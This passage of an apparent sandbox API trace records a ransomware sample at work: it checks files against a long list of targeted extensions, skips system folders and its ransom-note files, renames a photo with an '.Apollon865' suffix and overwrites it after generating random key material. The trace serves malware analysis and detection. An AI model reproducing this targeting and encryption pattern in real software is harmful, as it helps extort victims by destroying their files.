	[0087.381] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.381] lstrlenW (lpString="gwi") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.381] lstrlenW (lpString="hdb") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.381] lstrlenW (lpString="his") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.381] lstrlenW (lpString="ib") returned 2
	[0087.381] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.381] lstrlenW (lpString="idb") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.381] lstrlenW (lpString="ihx") returned 3
	[0087.381] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.382] lstrlenW (lpString="itdb") returned 4
	[0087.382] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.382] lstrlenW (lpString="itw") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.382] lstrlenW (lpString="jet") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.382] lstrlenW (lpString="jtx") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.382] lstrlenW (lpString="kdb") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.382] lstrlenW (lpString="kexi") returned 4
	[0087.382] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.382] lstrlenW (lpString="kexic") returned 5
	[0087.382] lstrcmpiW (lpString1="3.jpg", lpString2="kexic") returned -1
	[0087.382] lstrlenW (lpString="kexis") returned 5
	[0087.382] lstrcmpiW (lpString1="3.jpg", lpString2="kexis") returned -1
	[0087.382] lstrlenW (lpString="lgc") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.382] lstrlenW (lpString="lwx") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.382] lstrlenW (lpString="maf") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.382] lstrlenW (lpString="maq") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.382] lstrlenW (lpString="mar") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.382] lstrlenW (lpString="marshal") returned 7
	[0087.382] lstrcmpiW (lpString1="Ue3.jpg", lpString2="marshal") returned 1
	[0087.382] lstrlenW (lpString="mas") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.382] lstrlenW (lpString="mav") returned 3
	[0087.382] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.382] lstrlenW (lpString="maw") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.383] lstrlenW (lpString="mdbhtml") returned 7
	[0087.383] lstrcmpiW (lpString1="Ue3.jpg", lpString2="mdbhtml") returned 1
	[0087.383] lstrlenW (lpString="mdn") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.383] lstrlenW (lpString="mdt") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.383] lstrlenW (lpString="mfd") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.383] lstrlenW (lpString="mpd") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.383] lstrlenW (lpString="mrg") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.383] lstrlenW (lpString="mud") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.383] lstrlenW (lpString="mwb") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.383] lstrlenW (lpString="myd") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.383] lstrlenW (lpString="ndf") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.383] lstrlenW (lpString="nnt") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.383] lstrlenW (lpString="nrmlib") returned 6
	[0087.383] lstrcmpiW (lpString1="e3.jpg", lpString2="nrmlib") returned -1
	[0087.383] lstrlenW (lpString="ns2") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.383] lstrlenW (lpString="ns3") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.383] lstrlenW (lpString="ns4") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.383] lstrlenW (lpString="nsf") returned 3
	[0087.383] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.383] lstrlenW (lpString="nv") returned 2
	[0087.384] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.384] lstrlenW (lpString="nv2") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.384] lstrlenW (lpString="nwdb") returned 4
	[0087.384] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.384] lstrlenW (lpString="nyf") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.384] lstrlenW (lpString="odb") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.384] lstrlenW (lpString="odb") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.384] lstrlenW (lpString="oqy") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.384] lstrlenW (lpString="ora") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.384] lstrlenW (lpString="orx") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.384] lstrlenW (lpString="owc") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.384] lstrlenW (lpString="p96") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.384] lstrlenW (lpString="p97") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.384] lstrlenW (lpString="pan") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.384] lstrlenW (lpString="pdb") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.384] lstrlenW (lpString="pdm") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.384] lstrlenW (lpString="pnz") returned 3
	[0087.384] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.384] lstrlenW (lpString="qry") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.385] lstrlenW (lpString="qvd") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.385] lstrlenW (lpString="rbf") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.385] lstrlenW (lpString="rctd") returned 4
	[0087.385] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.385] lstrlenW (lpString="rod") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.385] lstrlenW (lpString="rodx") returned 4
	[0087.385] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.385] lstrlenW (lpString="rpd") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.385] lstrlenW (lpString="rsd") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.385] lstrlenW (lpString="sas7bdat") returned 8
	[0087.385] lstrcmpiW (lpString1="AUe3.jpg", lpString2="sas7bdat") returned -1
	[0087.385] lstrlenW (lpString="sbf") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.385] lstrlenW (lpString="scx") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.385] lstrlenW (lpString="sdb") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.385] lstrlenW (lpString="sdc") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.385] lstrlenW (lpString="sdf") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.385] lstrlenW (lpString="sis") returned 3
	[0087.385] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0087.386] lstrlenW (lpString="spq") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0087.386] lstrlenW (lpString="te") returned 2
	[0087.386] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0087.386] lstrlenW (lpString="teacher") returned 7
	[0087.386] lstrcmpiW (lpString1="Ue3.jpg", lpString2="teacher") returned 1
	[0087.386] lstrlenW (lpString="tmd") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0087.386] lstrlenW (lpString="tps") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0087.386] lstrlenW (lpString="trc") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.386] lstrlenW (lpString="trc") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0087.386] lstrlenW (lpString="trm") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0087.386] lstrlenW (lpString="udb") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0087.386] lstrlenW (lpString="udl") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0087.386] lstrlenW (lpString="usr") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0087.386] lstrlenW (lpString="v12") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0087.386] lstrlenW (lpString="vis") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0087.386] lstrlenW (lpString="vpd") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0087.386] lstrlenW (lpString="vvv") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0087.386] lstrlenW (lpString="wdb") returned 3
	[0087.386] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0087.386] lstrlenW (lpString="wmdb") returned 4
	[0087.386] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0087.387] lstrlenW (lpString="wrk") returned 3
	[0087.387] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0087.387] lstrlenW (lpString="xdb") returned 3
	[0087.387] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0087.387] lstrlenW (lpString="xld") returned 3
	[0087.387] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0087.387] lstrlenW (lpString="xmlff") returned 5
	[0087.387] lstrcmpiW (lpString1="3.jpg", lpString2="xmlff") returned -1
	[0087.387] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\s5bK7YBiAUe3.jpg.Apollon865") returned 81
	[0087.387] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\s5bK7YBiAUe3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s5bk7ybiaue3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\s5bK7YBiAUe3.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s5bk7ybiaue3.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\s5bK7YBiAUe3.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\s5bk7ybiaue3.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.389] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=94598) returned 1
	[0087.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.389] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.389] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.390] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.390] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.390] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17490, lpName=0x0) returned 0x15c
	[0087.390] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17490) returned 0x120000
	[0087.394] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.395] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.395] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.396] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.397] CloseHandle (hObject=0x15c) returned 1
	[0087.397] CloseHandle (hObject=0x9c) returned 1
	[0087.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16011d0, ftCreationTime.dwHighDateTime=0x1d4cabf, ftLastAccessTime.dwLowDateTime=0xa7514c20, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0xa7514c20, ftLastWriteTime.dwHighDateTime=0x1d4cdd8, nFileSizeHigh=0x0, nFileSizeLow=0xb72c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SfCev0kQDQOrN_co.gif", cAlternateFileName="SFCEV0~1.GIF")) returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="Apollon865.txt.exe") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2=".") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="..") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="windows") returned -1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="bootmgr") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="temp") returned -1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="pagefile.sys") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="boot") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="ids.txt") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="ntuser.dat") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="perflogs") returned 1
	[0087.399] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2="MSBuild") returned 1
	[0087.399] lstrlenW (lpString="SfCev0kQDQOrN_co.gif") returned 20
	[0087.399] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\s5bK7YBiAUe3.jpg") returned 70
	[0087.399] lstrcpyW (in: lpString1=0x119e674, lpString2="SfCev0kQDQOrN_co.gif" | out: lpString1="SfCev0kQDQOrN_co.gif") returned="SfCev0kQDQOrN_co.gif"
	[0087.399] lstrlenW (lpString="SfCev0kQDQOrN_co.gif") returned 20
	[0087.399] lstrlenW (lpString="Apollon865") returned 10
	[0087.400] lstrcmpiW (lpString1="OrN_co.gif", lpString2="Apollon865") returned 1
	[0087.400] lstrlenW (lpString=".dll") returned 4
	[0087.400] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2=".dll") returned 1
	[0087.400] lstrlenW (lpString=".lnk") returned 4
	[0087.400] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2=".lnk") returned 1
	[0087.400] lstrlenW (lpString=".ini") returned 4
	[0087.400] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2=".ini") returned 1
	[0087.400] lstrlenW (lpString=".sys") returned 4
	[0087.400] lstrcmpiW (lpString1="SfCev0kQDQOrN_co.gif", lpString2=".sys") returned 1
	[0087.400] lstrlenW (lpString="SfCev0kQDQOrN_co.gif") returned 20
	[0087.400] lstrlenW (lpString="bak") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0087.400] lstrlenW (lpString="ba_") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0087.400] lstrlenW (lpString="dbb") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0087.400] lstrlenW (lpString="vmdk") returned 4
	[0087.400] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0087.400] lstrlenW (lpString="rar") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0087.400] lstrlenW (lpString="zip") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0087.400] lstrlenW (lpString="tgz") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0087.400] lstrlenW (lpString="vbox") returned 4
	[0087.400] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0087.400] lstrlenW (lpString="vdi") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0087.400] lstrlenW (lpString="vhd") returned 3
	[0087.400] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0087.400] lstrlenW (lpString="vhdx") returned 4
	[0087.401] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0087.401] lstrlenW (lpString="avhd") returned 4
	[0087.401] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0087.401] lstrlenW (lpString="db") returned 2
	[0087.401] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0087.401] lstrlenW (lpString="db2") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0087.401] lstrlenW (lpString="db3") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0087.401] lstrlenW (lpString="dbf") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0087.401] lstrlenW (lpString="mdf") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0087.401] lstrlenW (lpString="mdb") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0087.401] lstrlenW (lpString="sql") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0087.401] lstrlenW (lpString="sqlite") returned 6
	[0087.401] lstrcmpiW (lpString1="co.gif", lpString2="sqlite") returned -1
	[0087.401] lstrlenW (lpString="sqlite3") returned 7
	[0087.401] lstrcmpiW (lpString1="_co.gif", lpString2="sqlite3") returned -1
	[0087.401] lstrlenW (lpString="sqlitedb") returned 8
	[0087.401] lstrcmpiW (lpString1="N_co.gif", lpString2="sqlitedb") returned -1
	[0087.401] lstrlenW (lpString="xml") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0087.401] lstrlenW (lpString="$er") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0087.401] lstrlenW (lpString="4dd") returned 3
	[0087.401] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0087.401] lstrlenW (lpString="4dl") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0087.402] lstrlenW (lpString="^^^") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0087.402] lstrlenW (lpString="abs") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0087.402] lstrlenW (lpString="abx") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0087.402] lstrlenW (lpString="accdb") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accdb") returned 1
	[0087.402] lstrlenW (lpString="accdc") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accdc") returned 1
	[0087.402] lstrlenW (lpString="accde") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accde") returned 1
	[0087.402] lstrlenW (lpString="accdr") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accdr") returned 1
	[0087.402] lstrlenW (lpString="accdt") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accdt") returned 1
	[0087.402] lstrlenW (lpString="accdw") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accdw") returned 1
	[0087.402] lstrlenW (lpString="accft") returned 5
	[0087.402] lstrcmpiW (lpString1="o.gif", lpString2="accft") returned 1
	[0087.402] lstrlenW (lpString="adb") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.402] lstrlenW (lpString="adb") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.402] lstrlenW (lpString="ade") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0087.402] lstrlenW (lpString="adf") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0087.402] lstrlenW (lpString="adn") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0087.402] lstrlenW (lpString="adp") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0087.402] lstrlenW (lpString="alf") returned 3
	[0087.402] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0087.403] lstrlenW (lpString="ask") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0087.403] lstrlenW (lpString="btr") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0087.403] lstrlenW (lpString="cat") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0087.403] lstrlenW (lpString="cdb") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0087.403] lstrlenW (lpString="ckp") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0087.403] lstrlenW (lpString="cma") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0087.403] lstrlenW (lpString="cpd") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0087.403] lstrlenW (lpString="dacpac") returned 6
	[0087.403] lstrcmpiW (lpString1="co.gif", lpString2="dacpac") returned -1
	[0087.403] lstrlenW (lpString="dad") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0087.403] lstrlenW (lpString="dadiagrams") returned 10
	[0087.403] lstrcmpiW (lpString1="OrN_co.gif", lpString2="dadiagrams") returned 1
	[0087.403] lstrlenW (lpString="daschema") returned 8
	[0087.403] lstrcmpiW (lpString1="N_co.gif", lpString2="daschema") returned 1
	[0087.403] lstrlenW (lpString="db-journal") returned 10
	[0087.403] lstrcmpiW (lpString1="OrN_co.gif", lpString2="db-journal") returned 1
	[0087.403] lstrlenW (lpString="db-shm") returned 6
	[0087.403] lstrcmpiW (lpString1="co.gif", lpString2="db-shm") returned -1
	[0087.403] lstrlenW (lpString="db-wal") returned 6
	[0087.403] lstrcmpiW (lpString1="co.gif", lpString2="db-wal") returned -1
	[0087.403] lstrlenW (lpString="dbc") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0087.403] lstrlenW (lpString="dbs") returned 3
	[0087.403] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0087.404] lstrlenW (lpString="dbt") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0087.404] lstrlenW (lpString="dbv") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0087.404] lstrlenW (lpString="dbx") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0087.404] lstrlenW (lpString="dcb") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0087.404] lstrlenW (lpString="dct") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0087.404] lstrlenW (lpString="dcx") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0087.404] lstrlenW (lpString="ddl") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0087.404] lstrlenW (lpString="dlis") returned 4
	[0087.404] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0087.404] lstrlenW (lpString="dp1") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1
	[0087.404] lstrlenW (lpString="dqy") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1
	[0087.404] lstrlenW (lpString="dsk") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1
	[0087.404] lstrlenW (lpString="dsn") returned 3
	[0087.404] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1
	[0087.404] lstrlenW (lpString="dtsx") returned 4
	[0087.404] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1
